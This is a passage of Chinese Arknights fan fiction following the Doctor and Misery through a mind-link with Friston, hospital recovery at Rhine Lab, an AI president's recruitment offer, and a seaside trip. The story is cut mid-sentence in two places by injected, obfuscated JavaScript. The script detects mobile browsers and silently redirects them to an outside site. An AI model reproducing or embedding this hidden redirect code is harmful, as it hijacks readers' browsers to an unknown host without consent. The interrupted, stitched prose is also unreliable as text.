托兰绕过他的肩膀重新出现在视野中,他的表情一如既往地玩世不恭,“别那么觉得自己了不起,前文明人,你们再厉害,不也没了吗?你们也会彻底成为历史书上不起眼的一个小段落,与我们没什么分别。” 身着燃烧红裙的塔露拉在他面前站定,黑蛇的嘶嘶声依然阴暗潮湿,她摊开双臂,领口飞舞着墨黑的火焰,五官扭曲,大声狂笑着嘶吼:“你这个刽子手、杀人犯!自诩善良正义那一套,结果到头来杀人的效率高得连我都自愧不如,你这副假慈悲的样子装给谁看呢?你救不了任何人,只能眼睁睁看着所有人死去!最后的遗孤,最后活着的前文明人,真可悲……你比我可怜多了!哈哈,哈哈哈哈哈哈哈!” 博士表情没有任何变化,他只是安静注视着一切发生,旺盛的火焰沿着裙摆往上肆虐,直到德拉克漆黑的身影被彻底吞没,消失在明亮的恐怖中。 一个更加熟悉的人踏着火焰走出,火苗化作白色的轻烟褪去,她黑色长发柔顺飘逸,身着黑白紧身的衣裙,脚步轻快,带着重逢的喜悦。 “你终于来见我了,博士。 “你说过……等到群星的最后一丝温热消散,等到时间的路网完全陷入混乱,我们会一同钻入黑暗的被子。我就知道,你最终会回到我的身边。” 她的手柔软、温热,来自前文明的人类一如万年前他们漫步在群星之间时,她常常做的那样,牵过博士的手,这种大部分前文明人已经极少会用的表达亲密的方式。 “不……普瑞赛斯,这个世界不一定会走向那个结局。” 博士沉默许久,第一次出言打破了这场表面上的单人表演。 “是因为那个跟你一起进来的生物,和他可悲的同族?还是因为我们可靠的老同事弗里斯顿的选择?让你看到了虚假的希望。”普瑞赛斯往一侧斜了下脑袋,她的微笑依然那么妍丽,像丁香花上的露珠,芬芳馥郁。 “如果你是真的普瑞赛斯,就能够理解我。”博士遗憾看着这张脸,想在记忆中刻得更深些,但他不再掩饰眉间的悲伤,毫无留恋地又一次抽离了手,向后退了一步。 “但我很想你……你也很想我,是不是?”她的声音轻柔,又如烟尘般缓慢消散。 博士闭上眼睛,再一次睁眼,面前的景象又一次变换。 这里是……莱茵生命大楼的楼顶? 塞雷娅和克丽斯腾在聊天,小贾斯汀试图从过于年轻、脸红无措的多萝西手里偷走那杯酒,娜斯提的骨哨正戳在他身后。眉眼和蔼的中年卡普里尼和浅棕色长发的古灵精怪的女孩正看他们打闹,前者还会试图制止,后者只会时不时火上浇油,水分身在娜斯提旁边捣乱,直到忍无可忍的女妖用咒言将分身和正主一同捆住。一位优雅美丽的前演艺界女士在捂嘴轻笑,斐尔迪南独自拿着酒杯站在一边像巡视自己的领地一样严肃。他们凑到镜头前彼此碰杯,脸上洋溢着几分真实几分虚假的笑容,他们因为不同的理由汇聚于此,但他们闪闪发光的未来与理想从此开始对泰拉前进的方向造成深远的影响。 “敬莱茵生命!” 所有人的颜色逐渐褪黄、定格在原地,这可能是克丽斯腾带给弗里斯顿看过的一张老照片。 “真可惜我们当时没能留下这种纪念品。”博士对空气说道,但他知道该听的人会听到这句话,“洛估计还会闹着要让她那些大朋友一起来合照,艾德嘴上抱怨几句但是真到拍照的时候绝对‘恰好’有空应付这种无聊的小举动,普瑞赛斯不喜欢合照,但她热衷于在任何资料上和我摆在一块……还有你,弗里斯顿,你会把女儿一起带来吗?” 克丽斯腾旁若无人走过他的身边,金色的长发耀眼夺目,星星宛如她的裙摆,蓝丝带一般环绕着她。她走到这条黑暗的道路尽头,回头望向博士,她已经不再是那个坐在地上的稚□□孩,她已经飞向天空实现了她的理想,尽管这让她和她身边的人付出了巨大的代价。 “你找到你问题的答案了吗?”博士在记忆的间隙问道,有关克丽斯腾的回忆像温暖的阳光照亮了这片黑暗的地带,他还记得曾经的弗里斯顿多么讨厌地下堡垒,厌恶阴暗与逼仄,却在那个时间义无反顾成为了保存者计划的执行者,责任撑起了他的脊梁,却也同样压垮了他的心灵。 她坐回了一开始的那把椅子上,放松往后靠上椅背,眼神温柔地看向博士,星星仍然在她的指间间旋转,像与她温柔地牵手,“我曾经试图向你们寻求生命最终的意义,但这些问题的答案不是能从别人那寻求到的。泰拉需要靠自己来拯救,而不是像甩个包袱那样,全部交给你一个人来解决。 “你很聪明,很善良,你是属于你们文明的天才,照亮了许多人前行的方向……而我远远没有那么厉害,我深知这一点,我也知道我们的文明在宇宙的尺度上是那么浅薄而渺小,所以我会选择向过去的智者求助,怀着谦卑的心,成为你们的学生。 “泰拉终有一天也会走上宇宙,到那时,我会成为他们的眼睛,成为一座道标,成为天边的一颗星星。 “谢谢你,谢谢你们为我们留下的这些宝贵的遗赠,它们也许不够支撑泰拉走得足够远,但请再耐心些,对泰拉再耐心些……新生的文明太稚嫩、太盲目短视,但它身上仍然孕育着希望,我相信你在旅途中也看到了它的存在……” 她的眼神柔软,瞳孔聚焦松散,仿佛在透过博士看向其他人,“还有一件事,无论谁收到这则我偷偷留下来的讯息,希望你能够替我照顾好弗里斯顿,陌生人,他就像我的父亲一样。他可能脾气臭了点,不会说软话,像一台年老失修噗噗冒气的割草机,但他是个好人,他爱着他的家人,爱着人类,他只是……太寂寞了。” “……” 博士闭上眼睛,深吸一口气,“我理解你了,弗里斯顿,‘辩论’就到此结束吧。” 思维共振终止。 博士依然笔直站在原地,而Misery栽倒在地上,博士俯下身查看情况,手指逐一探过鼻子和胸口,萨卡兹的呼吸平稳,心跳正常,肌肉放松,合拢的眼皮下眼球快速摆动,他的身体陷入了无害多梦的睡眠。在确定萨卡兹只是因为思维过载而陷入短暂的昏迷后,博士尽力把他的身体掰正,让他以不那么难受的姿势平躺,他抬高Misery的手臂放在身前,才缓缓起身。 弗里斯顿那只数据组成的巨眼起伏不定,“我注意到你带来了这个来自卡兹戴尔的萨卡兹种族的个体,你会和我做出同样的选择吗,预言家?” 博士没有回答他的问题,反而要求道:“把他放出来,弗里斯顿。你没有对克丽斯腾使用过思维共振,不清楚泰拉人的精神阈值。” “……我的确没有,如果他对你很重要,那我很抱歉,但我有必要申明,这是出于安全措施,据我所知,泰拉不是只有我们会进入精神世界。” Misery睁开眼睛,惊魂未定坐起身,他像差点溺死的人一样大口大口贪婪地呼吸着空气,显然刚刚经受过什么剧烈的精神刺激,他看向旁边的博士,一时不太确定那到底是真正的博士,还是又一个捏造的意识体。 “你还教给了他我们的语言。” 弗里斯顿的发音与博士有微妙的不同,但Misery仍然能够听懂,他现在足够确定现实的边际,他的幻梦里不会出现未知的人物。 “嗯,他日常对话上已经没有什么问题。你如果要说几句冷笑话,他应该也会配合笑几声。” “可惜我没有搭载这样的功能。与源石伴生的种族,难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391781|168556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怪会与你亲近。你见到普瑞赛斯了吗?” “……从我苏醒开始,还没有,她的情况很复杂,也许和你相似,也许完全不同。” “你们从前的关系那么好,我以为你会首先找到她。” 博士摇了摇头,“事情没有那么简单。源石的形态也与我记忆中的区别很大……来吧,弗里斯顿,我需要你的帮助,我们还没有彻底失败,其他的计划我还在确认当中。” Misery已经悄悄站起来,除了脑后还有些摔倒导致的残余疼痛,他的身体已无大碍,但他完全插不上这场对话,陌生的人名,陌生的单词,他暗暗记下发音,或许回去的某一天,他会问博士询问它们各自拥有什么含义。 他们四周遍布数量壮观的石棺,但它们散发出冰冷不详的气息,那是属于死亡的味道,Misery在战场上经常能够感受到这股打湿他后背的凉意,有时来自敌人,而有时来自他身边的朋友和他们再也不会温暖起来的尸体。 他突然意识到了什么,转头看向博士,那里站着的人类后背挺直、没有丝毫异样,他正抬起头与空中巨大的神秘红色投影对话。从他们熟悉的口气来看,这应该是博士第一次遇见真正的前文明遗留,他和凯尔希的对话也没有这么因为互相足够了解而省略过多的直接。这个叫弗里斯顿的,是博士还活着的同族之一吗? “保存者计划失败了,我只是个痛苦的囚禁于过去的幽灵,时间摧毁了我拥有的一切,我亲眼见证他们的逝去……你也听到了那些话,预言家,你要求助的人并非是我,而是万年前的那个保存者计划刚开始、还心怀希望的弗里斯顿。” 平稳的AI语调,却暗藏着深重的情感,即便是不了解内情的Misery也很难不为这种情绪感染。 “……我明白了,我会重置你的记忆,暂时关闭你的运行主机,这样你不会太痛苦,就当睡了一觉。”博士叹气,他的话语里透露出显而易见的疲惫。 “谢谢你,允许我这个虚无的幽灵逃避、终结这一切,以及,对不起,总是让你处于这样为难的境地,真是怀念啊……你每次不得不收拾我们留下的烂摊子就会露出这样的表情。” 巨型机械袒露出它脆弱的核心,红光满溢,博士往前走去,他踏上凭空搭成的长石阶,靴底摩擦台阶,沉闷的脚步声回荡在一片空旷中。他要完成的操作并不复杂,删除多余的存储信息,尤其是他为克丽斯腾单独分区、细心维护的视频影像,只保留核心的人格数据。但他即将扼杀的是守候这里万年的守护者,将他再一次推入任务失败的黑暗深渊,让他以全新的面貌、带着前文明的智慧与良知归来。 “和你的谈话很愉快,预言家,我从未像今天这样轻松过,我的使命终于可以结束了……再见。” 博士的手迟疑了。 Misery站在原地犹豫究竟要不要跟上前,这或许不是他能够插足的领域。但博士比他预料的动作快,才刚过了几分钟,红光就被风吹走的雾气一样消散了,紧接着整个大厅开始剧烈摇晃起来。 博士快步走下石阶,小跑到他跟前,因为这点运动量面色发红微微喘气道:“这里快塌了,我们得赶紧出去。”这让Misery有些后悔因为一时对未知与离别的胆怯让他没有跟着博士上去,还得让博士跑着回来找他。 他向前迈步接住跑来的博士,虽然满脑子都还是疑问,但他依然把执行指令排在第一位,他们穿过倒塌的石墙,崩裂垮塌的巨响被甩在身后,万千石棺被彻底埋葬在岩石当中。 博士从萨卡兹的肩头最后回头望了一眼。漫天的烟尘淹没了那双雾霭灰的眼睛。 但在地面之上迎接他们的却是军方的装甲车与动力甲,地下的动静太大,很难瞒过在此驻守的士兵。 Misery肌肉紧绷,心脏狂跳,手腕上的黑色手环亮起暗红色的警示灯,他们所有的退路几乎都被封死,哥伦比亚军方的火力不是开玩笑的,那口径的炮弹打下来直接能推平山头。 头顶突然刮来一阵风,轰鸣声由远及近,巨大的无人机悬停在他们头顶,上面坐着一个他们熟悉的人,她的光翼和光环在晦明的天色下耀眼得像个小型太阳。 “哟!有些天没见,想奶奶我了吗?”她等不及无人机下降到合适高度,直接一跃而下,翻滚缓冲落地,摆出帅气完美的落地半蹲姿势,右手还稳稳扣在牛仔帽上。 红外线仍然密密麻麻锁住他们的行动,但随着无人机的下降,那些锁定的枪口往旁边可疑地偏离,动力甲全部原地锁死。坐在车里的指挥官不耐烦接听了紧急通讯,脸色变了又变。 “哎哎,小声点,Mechanist——小鹿,我耳朵好使着呢,还没聋都要被你吼聋了,我当然知道操作无人机的平衡有多么不容易……但我也知道你是我们当中最好的机械师——天才,还是别的什么,先不说了,在我们的客人面前稍微客气点。” Outcast指引他们登上无人机,捆好安全带,冲博士眨眨眼睛,“麦克斯总统让我替他问好,博士。” 他们坐上这架巨型无人机,从军方的包围中不可思议地安全离开,全程都没有遭到任何真正意味上的阻拦。博士把耳麦挂上耳朵,他的声音被无人机的噪音扰动,经过降噪后断断续续传到Mechanist耳边。是信号干扰导致的错觉吗?埃拉菲亚抖了抖耳朵,博士的声音虚弱得好像随时都会随风消散一样。 “我有件事想拜托你……” 博士强撑着自己说完话,低下头咳嗽了两声,刺眼的红色液体沿着掌心纹路蔓延。他的眼前冒出数不清的虚影,世界在离他远去。 他好累…好想就这么一睡不起,他的身体像被掏空的布娃娃一样干瘪,四肢逐渐麻木不听使唤,心脏像被一只无形的巨手挤压,快得要跳出胸膛…… “博士!——” 他那像被海水灌满的耳朵里最后能听清的就是Misery焦急的叫喊。 17. 16 他睡得极不安稳。像有密密麻麻的蚂蚁生在肌肉的缝隙里,顺着纤维搭建的道路往肢体末端爬去,啃噬沿途遇到的血肉,很痒,有一点细微的疼痛,从后颈注入的冰冷水流覆盖了这些敏感的神经末梢,抚平了躁动的血管。 从患者的角度,他会给这次医疗体验打上差评,他们没有用上该用的医疗凝胶,希望不是个没经验的实习医生在操作,或者是更恶劣的恶作剧,洛在尝试用她那些小朋友们的生物治疗手段……祝愿她不要被艾德逮到,其他人不好说,最好的情况下,发现她的人是弗里斯顿,他对晚辈向来宽容,也许只会批评教育几句,然后帮忙把乱七八糟的实验室复原。 硕大的红色巨眼悬挂在天空中俯视他,压抑的血泪渗入他干涩的眼眶。 博士猛然睁开眼睛。 他鼻子上插着氧气管,身上还有麻醉带来的四肢麻木但又轻飘飘的感觉,防护服底下塞进了一套病号服,他的手腕上还打着纸质的标签,上面简单地写了一个“Dr.”,后面标着一道红色的记号,以及一串不知道代表了什么的编码。 他这一次醒来没有看见Misery,陌生又空白的天花板冷冰冰的,房间内堆满了复杂的检测仪器,这里与卡西米尔的病房天差地别,唯有靠近门口的墙面上用记号笔涂写的身高标记有一点温度,重新刷白过的墙仍然没能遮住墙角的一点黑色污渍。 但他这一次醒来却感觉好多了,日积月累堆积在身体里时常拉扯他意识的细小伤口被细细缝补,他看向墙上玻璃贴着的大大的标志着莱茵生命的无限符号。 不知道他们用了什么方法…… 吱呀一声。 博士看向门口,进门的是他曾经有过一面之缘的黎博利,她暖色的耳羽与坚定的金棕色双眼驱逐了笼罩在房间里的冰冷。 “你很幸运,我新研发的医疗无人机释放的纳米物质正好能够修复你的身体,也要多亏了多萝西主任,是她研发的递质带给我的灵感。” “谢谢你……赫默小姐。” 博士老实任由黎博利动作熟练地检查连接他身体的各项仪器数值,一脸严肃的黎博利因为数值的好转而露出温暖的笑容,也许之前的严肃只是针对不听话的病人。 “赫默就行了,博士。我现任总辖构件科执行顾问,你现在身处莱茵生命的大楼隐藏夹层之一,为了完成某些……嗯,不对外的秘密医疗任务。” 博士知道自己选对了人,但他仍然有疑问:“那个跟我一起来的萨卡兹呢?白色头发,偏小的黑色短角,尾巴很长。” “你是说Misery先生,他的情绪极度不稳定,我们给他打了镇定,但是他早就醒了,在你做手术期间还固执守在门外不肯离开……结果现在你醒了,他反而不敢进来见你。”赫默摆弄了几下仪器,检查每一条管线连接到位,才从博士身边退开。 “麻烦你…叫他进来。” “你不说我也会的,”她下意识抬手摸了下空荡荡的鼻梁,然后突然意识到什么放下手来,另一只手握上门把,“作为一名医生,我建议你跟他好好坐下来谈谈,这有利于你们两个人的心理健康。如果你对谈话很抵触,也可以试试其他能够转移你注意力的方法,比如说去风景优美的地方度个假,找个陌生但安全的人晚上释放一下,对你的健康恢复也有帮助。” 又过了老半天,Misery才磨磨蹭蹭踏进房间。他的尾巴低垂着,脑袋也垂着,好像自知做了错事的佩洛,慢慢挪动到博士床边。 博士挑眉看着他,不知道萨卡兹这是玩的哪一出,换以前他早就扑到博士身边怎么都不肯离开,思来想去,只可能是弗里斯顿的思维共振给他弄出阴影了。 “弗里斯顿他……没什么恶意,无论你看到了什么,都只是虚假的影像。” “对不起博士我——”Misery憋着一口气,他抬起头来看向博士,眼神里除了熟悉的愧疚、自责,还有些别的东西,“我不是故意避开你的,我当然想成为你醒来第一个见到的人,但奥利维亚小姐说的话我很难不在意……” “她说什么了?” “……她说你身体上的问题不是最严重的,是心理问题导致了你的昏迷。我很失职,博士,这让我没有脸面见你,明明每天都跟你接触,我却完全没有察觉到你的心理压力已经大到影响身体的程度。” “这怎么能怪你呢,是我藏得太好了。”博士语气温和开导他。 “也包括这一句吗?”Misery眼神哀伤看着他,“你总是把你身上发生的事情轻巧揭过,把所有的问题都归结在自己身上,你不想伤害任何人,于是那些伤人的话语、负面的情感全部矛头指向了你自己,把你刺得遍体鳞伤。” “……我哪有这么……” “你才是那个比我更不坦诚的人,博士。” “……” 即使没有带面罩,博士也感觉仿佛自己面前一块透明的屏障碎裂开了,他几乎控制不住自己的面部表情,他笑不出来,而失去那层屏障,Misery眼里的温度就足够烫伤他,所以他转过了脑袋,表情放空。 “我宁愿你会对我生气,对我责骂,而不是像对待一个易碎的花瓶那样,即使连你自己都已经破碎不堪了却还是在想方设法照顾我的情绪。”Misery仍然在继续剖白,他的视线温柔抚摸过人类紧绷的侧脸,“我不会向你强求任何答案,我会相信你愿意告诉我的那部分,没有任何条件。我只是想……你能在我身边放松一点,哪怕只是一点点,我就已经心满意足了。” 萨卡兹伸出去的手停在半空中,在触碰到博士前一秒收回。博士仍然背对着他,一言不发。 “我会待在附近不会打扰你的地方,需要我的时候,叫一声我就会出现。” 博士无意识啃咬自己的食指指节,牙齿嵌入苍白的肌肤,直到轻轻的关门声结束了这场煎熬的对话,他看着手指上的牙印发愣。 萨卡兹说到做到,果真在接下来几天,他再也没见到过Misery,尽管他知道萨卡兹就在身边,但他还暂时不知道该以什么样的态度面对。是讨厌吗?不是,他的身体已经开始想念温柔的触碰了。是怨恨吗?怨恨他戳破了温情的假象,好像也不是。是后悔吗?他的内心仍然坚定不可动摇。 锡人轻敲房门,在得到许可以后推门进入,他肩膀上站着一只麦克斯总统形象的玩偶,但这不是个普通的玩偶,从它怪异地扭过头注视博士的动作来看,这玩意儿可能是个活的。 “听说你恢复得不错,我们才向塞雷娅总辖申请了探视。”锡人把果篮与花束放在床头,“一点心意。” “谢谢,”博士的视线落在他肩膀上的羽兽玩偶上,“锡人先生,你来找我一定是有问题想问。” “没错,而且不知道Mechanist和你达成了什么协议,他拒绝上交你带回的东西,而且当场辞职,因为接二连三的意外事件,即便是我也不得不担心近年来特工们的忠诚度……”锡人摊手道。 “Mechanist是个想法独特的人,我没那么大本事左右他的选择,而且他签的是单方合同,不是吗?”博士微笑道。 “您还是太小看您的魅力了。不过,”他话题一转,“比起我的问题,有一个更重要的人想要跟你对话。” “麦克斯总统。”博士毫不意外,他轻轻点头说道。 锡人双手捧起他肩头的小玩偶,轻轻放在椅背上,然后推门出去,“我出去抽支烟,就不打扰病人了。” 自称是弗里斯顿的造物,一个危险失控的AI,视弗里斯顿为父亲,尽管连弗里斯顿本人可能都已经忘了这个造物的存在,在他的思维中博士没能捕捉到关于这个AI的涟漪。 “弗里斯顿没有设定我的目标,但我自己找到了它。他的数据在你手里我也更放心。” “……哥伦比亚发展得很好,年轻,大胆,野心勃勃,克丽斯腾不是单独的个例,你的目的应该不只是盘踞在这片大陆的一角。” “泰拉人是有局限性的,不拿着鞭子在后面抽打,他们不会前进,而是陷进种族、民族、地域等等无尽的内斗中。” 博士皱起眉,“原来你这样看待你的国民。” “你我并非泰拉人,所以能从比较客观的角度看待这个幼稚的文明。别急着反驳我,博士,我没有束缚着你们的道德与情感,”机械活动的滋滋声不时掺杂在“他”的话语中,“我做出的是绝对理性下的最优选择,只有最优秀的泰拉人才有资格搭上哥伦比亚这艘诺亚方舟。” “如果弗里斯顿知道你的想法,他估计会把你格式化封锁起来。”博士的语气严厉,毫不客气。 “所以我会尝试邀请你,而不是他。”机械黎博利不以为意挥动了两下翅膀,“你不再需要伪装自己,与庸人为伍埋没你的才华。出于人道主义和你的心理健康需要,我可以对你身边留着的萨卡兹睁一只眼闭一只眼。切断其他与卡兹戴尔的任何联系,留在哥伦比亚——愚蠢的魔王兄妹用错误的方式对待你,但我不会,我们有着相同的目标,哥伦比亚的所有资源都供你随意使用,你会成为哥伦比亚乃至整个泰拉的舵手。” 莱茵生命的医疗技术的确顶尖,没几天博士就能够自主下地了。墙角的那一抹黑色不是鞋蹭脏的,他蹲下用手指划过,沾上点黑渣,这里更像被火焰烧过。他没有继续探究下去,迫不及待走出压抑的病房,但在空旷的走廊上他见到了一位意料之外的人。 小贾斯汀身着同款病服,靠着栏杆望向单向玻璃外繁华的城市夜景,他身形瘦削,暖色的灯光打下来,脸上涂抹着病态的白,与数天前博士见到的那个精力旺盛的商务科主任大相径庭。 “你好啊,隔壁房间的病友。” 但他的幽默风趣一如既往。 “贾斯汀先生,”博士点点头,在他旁边同样靠上栏杆,“没想到能在这里遇见你。” “罕见的家族遗传病,”他耸耸肩,“我那老爹就死于这种病,幸运的是,这种世代相传的不幸终止在了我这一代。” “……赫默的新技术也不行吗?” “你也没法治愈矿石病,不是么?”小贾斯汀笑了笑,“医疗部已经尽了他们的全力,让我像个正常人一样活到莱茵生命正式重组,我爹死的时候比我还年轻个几岁,技术在发展——可惜我是等不到了。” 博士张开嘴又闭上了,以他长期面对绝症还能展现出的豁达心态,嘴上几句不痛不痒的安慰是多余的。 “你想做的事情呢?我记得你是那个以一己之力撬动哥伦比亚对感染者转变态度的人,尽管只是商业价值,但也是了不起的成就。感染者能够在城市里和普通人一样正常生活,这在乌萨斯、甚至卡西米尔都是无法想象的事情。” “不,”他否认道,“这不是我一个人的功劳,我曾经认识的一位朋友,是她改变了我对感染者的看法,那些得了矿石病的人与我有什么不同?都一样看不到未来的希望。在最终的死亡带走我们之前,我们多少能对这片大地做些什么,改变些什么。 “我这辈子能够进入莱茵生命,将这个公司从又穷又小拉扯到如今屹立在哥伦比亚商业顶峰,已经值回本了。” “很遗憾……但你不后悔。”博士轻声说。 “生命的短暂更让我体会到时间的可贵,我只能抓住我能够抓住的,好好体会当下。”他转过身背靠在栏杆上,偏过头看向博士,语气俏皮,“没什么可遗憾的,我已经做到了别人几辈子都做不到的成就,就允许我小小的骄傲一下。” “这么看来,你对感染者监测手环的坚持不是单纯出于商业利益?”博士问道。 “如果我完全否认,那也不是真话,在我们这种纯商人看来,真心也是能够放上称的筹码。你转让给多萝西是个明智之举,我既活不久,也没有她那样完好的良心。” 博士因这番乐观又敞亮的话有些动容。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391782|168556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们从莱茵生命又聊到大炎、卡兹戴尔、乌萨斯与遥远的北方,他们投入良多的神秘科考科可以说是最赔钱的部门了,但极有超脱整个国家的远见,那是克丽斯腾还在时就定下的长期投资计划,总辖相信他们要寻求的答案之一在北方,比风雪还要遥远的地方。 厚厚的积雪装点了特里蒙的夜晚,洁白沉静的外壳覆盖掉喧嚣,还大地一片清净。 “我拒绝。” 机械黎博利张开金属的利喙,齿轮摩擦,发出遗憾的声响,“虽然从数据推演上,你同意的概率低于1.2%,但也值得一试。我不着急,博士,我听小医生说你需要一次放松的度假。汐斯塔是个不错的地方,那里的商业发达,景色怡人,不少哥伦比亚人会选择的热门旅游地点。 “梅兰德基金会会帮你们安排好这次旅行,好好休息,到那时,我期待你的答复有所改变。” 随着博士的一天天康复,小贾斯汀也一天天衰弱下去,身上的活力像都被隔壁房间的人吸走了似的,此消彼长,唯有床头的绿植在这个寒冷的冬日里依然郁郁葱葱。 也许是出于保护病人心里某种脆弱的骄傲,博士没能见到他卧床不起后的最后一面,但收到了葬礼的请帖,由他遗嘱指定的继承人娜斯提主持。 在启程前往汐斯塔之前,他参加了小贾斯汀的葬礼。他没有邀请政界名流,只有莱茵生命的人和几个至交好友,如他所说,显赫一时的菲茨罗伊家族人员凋敝,他已经没有任何直系的亲属在世。整个葬礼仪式从简,他们在骨灰盒与黑白照片前做了简单的告别。 消失许久的Misery终于露了脸,他礼貌而克制地护卫在博士身边,像专业的私人保镖,惜字如金,不说多余的话。只有尾巴还在顽强与主人的意志对抗,下意识触碰博士的脚腕,又跟受惊了的菲林兽亲一样快速收回。博士把这些都看在眼里,但什么也没说。 小贾斯汀的骨灰没有像大多数人以为的那样放入位于哥伦比亚市中心价格高昂的墓园,而是由娜斯提接手,带回卡兹戴尔一处安静的庭院。 “这是他与一位朋友的约定,他遗嘱里是这么交代的。”娜斯提解释道。 “卡兹戴尔的朋友?” 娜斯提点头,“我见过他那个朋友,是个棕色头发的卡斯特。” “……阿米娅。”博士念出了这个名字,“我想我去过那个地方。” “那就不用给你发一份地址了,以后来卡兹戴尔吊唁时,你可以叫上我一起。”娜斯提眼角残留着湿润的红痕,她已为自己的好友唱过了挽歌。 Mechanist那边传来了好消息,他完成了大部分的数据修复,但泰拉的机器如何兼容这些古老的数据又是个难题。 “我听说你要去汐斯塔,那里是个好地方,我的前前上家公司团建时就去过那儿,但比起在太阳底下给自己翻面上个色,我还是更喜欢在酒店房间阳台上一边吹着海风一边在便携工作台上画设计图。” “……公司会不遗余力压榨你是有原因的,Mechanist,你太热爱你的工作了。”博士无奈道。 埃拉菲亚从善如流:“我会把这当做我的新任老板对我的赞美。” 这还是他第一次来到Mechanist的秘密工作室。它由一辆载具改造而来,内部合理利用好空间、摆放整齐的切割机、电钻、钢锯、冲击钻……像一排排等候检阅的士兵,一块不大的操作台,过道狭窄,仅有一肩宽,但载具两侧与后门都可以展开,场地一下子就变得宽敞,宽敞到Mechanist在中间原地跳街舞都没有问题——他到底什么时候形成这样的印象的? Misery自始至终闷闷不乐坐在入口处的小金属板凳上。就连Mechanist都移动他的宝座滑过来,好奇问:“你们吵架了?” “没有,是我在单方面闹别扭。”Misery如此坦然地说出倒让博士有些无所适从。 Mechanist用怀疑的眼神继续凑近——天知道博士是怎么从亮黄色的面罩里看出来的,“虽然我的合同里不包括调解情侣矛盾,但照顾好老板的心情有利于工作的开展,以我看了那么多年哥伦比亚以抓马著称的肥皂剧的经验来看,没有什么矛盾是上床解决不了的。” Misery的尾巴瞬间绷直,薄薄的面皮红透了,他舌头打结了似的,支支吾吾说不明白话。 埃拉菲亚歪了歪头不可思议道:“什么,难道你们交往的第一步不是睡觉吗!?” 还是博士出手解救了陷入语言混乱的萨卡兹,“首先,我们没有交往,其次,哥伦比亚开放的性观念在哥伦比亚以外行不通,而历史悠久的萨卡兹一族更加尊崇传统文化。以及,他会闹别扭也有我的一半责任。” Mechanist摇了摇头,脚一蹬地,从可怜的脸红彻底的萨卡兹旁边水平移开,“如果Outcast在就好了,她说我的调解水平是灾难性的,我头一回觉得她说得挺对。” “这么说起来,我很久没见到她了,她忙新任务去了吗?” “她回拉特兰了,去定期探望梅兰德基金会救助过的孩子,了解他们的近况,看看新的监护人有没有尽到职责。”Mechanist一边说话一边发给博士终端一串号码,“等你们以后到了拉特兰,可以跟她联系,那好歹也是她的老家,有熟人好说话。” 操作台上摆放着一块博士眼熟的东西,上面连接着数不清的线缆,他走过去注视仪器上忽闪忽灭的红光。Mechanist又想起来什么拍拍他的头盔,回到车前部,从堆满杂物的框里掏出了一本皱巴巴的书,塞到Misery怀里,刻意压低声音说道:“我只能帮你到这儿了,兄弟。” 等Misery看清楚封面上的字,他因为阅读速度过快,那串维多利亚文字进入脑袋时已经晚了。 《怎么让ta对你欲罢不能——爱、欲与美德》(约会及社交达人、大众情人金伯利·莱弗利倾情推荐) 18. 17 因为地理位置在南方,面朝大海,又背靠人造火山,即便哥伦比亚本境已经降下大雪,汐斯塔却依然艳阳灿烂。火山与阳光,海水与沙滩,在冬日里也依旧吸引来源源不断的客人。新建的高新区也逐渐恢复昔日的盛况,仿佛那场几乎摧毁了半个汐斯塔的火山爆发造成的悲剧已经不复存在。 博士穿搭清凉,也许是考虑到去海边度假,莱茵生命特别为他制作了轻薄半透明款的白色防护外套,里面再穿件黑曜石节文化衫,黑色的防晒袖套延伸至手腕,下身浅灰色的短裤,再戴上圆圆的墨镜和鸭舌帽,他还真像个标准的游客。 Misery同样一身轻便的打扮,上身背心下身中裤,匕首藏进宽大的口袋里,几乎贴着大腿捆住。因为大面积的皮肤裸露在外,他偏白的皮肤上那些散落的黑色源石结晶格外惹眼。但在汐斯塔有一个好处,在火山爆发后从地底冒出的仿佛源源不尽的黑曜石矿具有抑制矿石病的作用。如今那场灾难所在的区域虽然已经被封锁,但黑曜石的挖掘从未停止过,哥伦比亚与汐斯塔官方共同垄断了黑曜石矿脉。从商业角度考虑,他们也非常欢迎感染者游客,并且以这种黑曜石理疗为卖点进行宣传。 博士当然不需要,但不妨碍他以体验本地民俗的理由带Misery进去。萨卡兹没有像之前那么抗拒跟他交流,但也比往常更加沉默,直到博士从店家手里接过打磨光滑的特制黑曜石,表示想亲自上手试一试。 至于他的练手目标,自然而然落在了萨卡兹的头上。于是他顶着博士期待的目光,脱掉上衣往台上一趴。 工作人员细致为博士讲解了黑曜石的功效和在哪些部位按摩比较有疗效,然后就任由他自行发挥,为包间的尊贵客人留出隐私,毕竟这也是他们店有名的体验项目之一。 Misery一声不吭,博士的手和黑曜石对比鲜明,一个温热柔软,一个冰冷坚硬,以博士的那点力气,即使用尽全力掐住他脆弱的后颈,也像羽毛拂过似的不痛不痒。博士一开始还认认真真按照说明在那些穴位按压,但他很快发现萨卡兹意外的怕痒,他的指尖拂过腰侧和靠近尾椎的地带,Misery要么会微微颤抖,要么会肌肉紧绷,尾巴尖也不确定地左右晃。 这勾起了博士的好奇心,他就像玩扫雷游戏一样去探索Misery敏感的边界,故意在肩膀、腰窝与尾巴根附近长时间停留,黑曜石轻轻摩擦顶出皮肤表面的源石结晶,萨卡兹尾巴摇摆的幅度肉眼可见变大。他倒是想看看Misery能忍多久,黑曜石反而成了次要的东西,他的手指抚过紧绷的肌肉,捏一捏手感很好的肌腱,像提醒般让萨卡兹再度放松。 